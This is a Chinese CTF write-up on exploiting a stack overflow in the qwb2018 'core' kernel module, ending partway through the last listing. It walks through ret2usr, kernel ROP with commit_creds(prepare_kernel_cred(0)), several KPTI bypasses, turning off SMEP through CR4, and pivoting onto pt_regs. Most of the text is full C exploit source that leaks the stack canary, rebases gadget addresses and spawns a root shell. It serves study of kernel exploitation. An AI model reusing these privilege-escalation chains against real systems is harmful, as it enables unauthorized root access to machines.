CTF-PWN-kernel-栈溢出(retuser rop pt_regs ret2dir)

文章目录

  • 参考
  • qwb2018 core
  • 检查
  • 逆向
  • 调试
  • 打包上传测试脚本
  • retuser
  • kernel rop
    • init_cred
    • commit_creds( prepare_kernel_cred(0) )
    • 开启KPTI利用swapgs_restore_regs_and_return_to_usermode
    • 开启KPTI利用SIGSEGV
    • rop设置CR3寄存器再按照没有KPTI返回
  • kernel rop + ret2user
  • pt_regs 构造 kernel ROP
  • ret2dir

参考

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4hri%3DdeY5GOKweD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#5-kernel-%E7%9A%84-UAF-%E5%88%A9%E7%94%A8
https://blog.csdn.net/qq_45323960/article/details/130660417?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171982506416800211525431%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=171982506416800211525431&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-2-130660417-null-null.nonecase&utm_term=kernel&spm=1018.2226.3001.4450

qwb2018 core

检查

在这里插入图片描述

逆向

  • 调用proc_create函数来创建一个新的proc文件系统条目
  • &core_fops是一个指向file_operations结构体的指针,这个结构体定义了文件操作函数,比如打开、读取、写入等。

在这里插入图片描述
在这里插入图片描述core_copy_func存在栈溢出,将可以将name的63个字节复制到栈上的v2数组

在这里插入图片描述
name是内核的数据,可以通过core_write将用户数据复制到name
在这里插入图片描述

调试

记得设置root,否则看不了
在这里插入图片描述
然后关闭kalsr,方便下断点
在这里插入图片描述
查看模块相关段和内核中存在的符号函数

在这里插入图片描述

打包上传测试脚本

#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit fs/
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh

在没有开启SMAP/SMEP的情况下,可以使用ret2usr,直接在内核态访问用户态的代码并执行。
PS: 在使用ret2usr进行提取时,切记不要使用库函数(会引起系统调用导致内核panic)

retuser

就是在内核态执行的时候往内核态的栈中写入用户程序的返回地址,然后跳转到用户代码执行,然后执行用户程序定义的函数,期间提权并模拟返回用户态的过程
rip是切换到内核态时候最后压入的,iretq通过pop恢复各个寄存器,顺序从rip到ss
在这里插入图片描述
返回地址变为用户态的代码,并执行commit_creds(prepare_kernel_cred(0));
在这里插入图片描述
切换到用户态
在这里插入图片描述

iretq此时栈中为之前设置的结构体
在这里插入图片描述
通过恢复rip跳转到getshell函数
在这里插入图片描述
提权成功
在这里插入图片描述

__attribute__((packed))这是GCC编译器的一个扩展属性,用于告诉编译器在打包结构体成员时不要添加任何填充(padding)。通常,编译器会在结构体成员之间添加填充字节来保证数据对齐,这可能会导致结构体的大小增加。
使用packed属性可以确保trap_frame结构体的布局在内存中紧凑,每个成员紧跟前一个成员,没有额外的填充。

  1. #define KERNCALL __attribute__((regparm(3))):

    • 这是一个宏定义,KERNCALL 被定义为使用 GCC 编译器的 regparm 属性,该属性指定函数的参数通过寄存器传递。
    • regparm(3) 表示函数的前三个参数将通过寄存器传递,而不是通过栈。这有助于减少函数调用的开销,提高性能。
  2. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;:

    • 这行代码定义了一个名为 prepare_kernel_cred 的函数指针,它指向一个接受一个 void 指针参数并且返回一个 void 指针的函数。
    • KERNCALL 是上面定义的宏,它指定了函数调用约定,即参数通过寄存器传递。
    • = (void *) 0xFFFFFFFF8109CCE0; 这行代码将 prepare_kernel_cred 指针初始化为一个特定的内存地址。这个地址是硬编码的,可能指向内核中负责准备(设置)用户凭证的函数。
  3. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;:

    • 这行代码与上一行类似,定义了另一个函数指针 commit_creds,它也指向一个接受和返回 void 指针的函数。
    • 同样使用 KERNCALL 宏来指定函数调用约定。
    • = (void *) 0xFFFFFFFF8109C8E0;commit_creds 指针初始化为另一个特定的内存地址。这个地址指向内核中负责提交(更改)当前任务凭证的函数。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;void get_shell() { system("/bin/sh"); }struct trap_frame {size_t user_rip;size_t user_cs;size_t user_rflags;size_t user_sp;size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;void save_status() {asm("movq %%cs, %0\n\t""movq %%ss, %1\n\t""movq %%rsp, %2\n\t""pushfq\n\t""popq %3\n\t": "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags):: "memory");tf.user_rip = (size_t) get_shell;tf.user_cs = user_cs;tf.user_rflags = user_rflags;tf.user_sp = user_sp - 0x1008;tf.user_ss = user_ss;puts("[*] status has been saved.");
}void get_root() {
//    commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));asm volatile ("swapgs;"             // 交换GS寄存器的基地址"movq %0, %%rsp;"     // 将tf_addr的值移动到栈指针"iretq;"               // 从中断或异常返回:: "r" (tf_addr)      // 输入操作数列表,tf_addr作为输入: "memory"            // 指示汇编代码可能修改内存);
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {rebase();save_status();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(void **) &buf[80] = get_root;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

通过溢出执行用户代码,然后从而完成提权和切换到用户态操作

kernel rop

开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据或者跳转到用户空间的代码执行。
利用 ROP ,在内核中执行 commit_creds(prepare_kernel_cred(0))完成提权 , 然后 iret 返回用户空间再执行getshell函数

init_cred

可以找到init_cred作为参数,然后直接commit_creds,不需要prepare_creds
在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

commit_creds( prepare_kernel_cred(0) )

这里prepare_kernel_cred(0)执行后需要执行mov rdi, rax; ret但没有合适的,参考sky佬使用pop rdx; ret; mov rdi,rax; call rdx但pop后rdx是pop rcx; ret; call rdx那么就相当于ret了

在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

开启KPTI利用swapgs_restore_regs_and_return_to_usermode

https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
在这里插入图片描述
在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。

有一种比较懒惰的方法就是利用swapgs_restore_regs_and_return_to_usermode这个函数返回:

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode找到它在内核地址
swapgs_restore_regs_and_return_to_usermode的代码如下
在这里插入图片描述
跳过前面的pop指令也可以返回到用户态即程序流程控制到 mov rdi, rsp 指令,栈布局如下就行,具体原因调试即可

rsp  ---->  mov_rdi_rsp00ripcsrflagsrspss

在这里插入图片描述

进入内核前的CR3
在这里插入图片描述
进入内核后的CR3
在这里插入图片描述
开始执行用户态的代码时会出现page_fault
在这里插入图片描述在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

开启KPTI利用SIGSEGV

如果找不到 swapgs_restore_regs_and_return_to_usermode 则可以为 SIGSEGV 先注册异常处理函数 get_shell ,然后按照没有 kpti 的方式返回用户态。触发段错误异常后自动完成用户态的返回。

signal(SIGSEGV, get_shell); 这行代码的作用是设置一个信号处理函数,当进程遇到SIGSEGV(分段违例)信号时,将会调用get_shell函数。SIGSEGV信号通常在程序试图访问非法内存地址时由操作系统发送,例如尝试读取或写入不存在的内存位置。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_popfq_ret = 0xffffffff81a012da;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;iretq += offset;swapgs_restore_regs_and_return_to_usermode += offset;swapgs_popfq_ret += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();signal(SIGSEGV, get_shell);core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = 0x12345678;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

rop设置CR3寄存器再按照没有KPTI返回

另一种在kernel提权返回用户态的时候绕过kpti的方法就是利用内核映像中现有的gadget

mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

来设置CR3寄存器,并按照iretq/sysret 的需求构造内容,再返回就OK了。

kernel rop + ret2user

先利用 rop 的mov设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。这样也可以绕过 smap 和 smep

在这里插入图片描述
此时开启
在这里插入图片描述
通过pop 然后mov设置cr4
在这里插入图片描述
然后可以直接跳转到用户态代码执行
在这里插入图片描述
用户态代码再执行commit_creds(prepare_kernel_cred(0))或者commit_creds(init_cred),然后再返回到用户态再跳转到system("/bin/sh");

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() { system("/bin/sh"); }size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_root() {
//    commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0x00000000000006f0;rop[it++] = mov_cr4_rdi_ret;rop[it++] = (size_t) get_root;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

pt_regs 构造 kernel ROP

如果限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。可以通过 pt_regs 上构造 rop 。

系统调用syscall会进入到 entry_SYSCALL_64,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15; //低地址unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss; //高地址
/* top of stack page */
};

由于内核栈只有一页大小,只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 然后通过push进去的设置号的寄存器内容便能够完成 ROP

当前rsp距离pt_regs 的偏移在这里插入图片描述
pt_regs 总共0xa8大小
在这里插入图片描述
另外值得注意的是 pt_regs 中对应 r11 和 rcx 的位置分别被写入了 eflags 和返回地址(设置的是system(“/bin/sh”)),不受我们控制。
通过add rsp, value或者pop使得rsp到达pt_regs 如add rsp,0xc8 pop rbx pop rbp pop r12 pop r13 ret可以实现增加0xe8的效果

在这里插入图片描述
所以在溢出之前将寄存器设置好,利用系统调用在栈底部压入的内容作为等会迁移后的rop,然后溢出执行调整rsp的gadget,然后通过之前设置好的寄存器进行rop
这里使用swapgs_restore_regs_and_return_to_usermode来切换回用户态,需要调整偏移,使得最后能够返回到原来的返回地址上system("/bin/sh")

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;swapgs_restore_regs_and_return_to_usermode += offset + 8;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
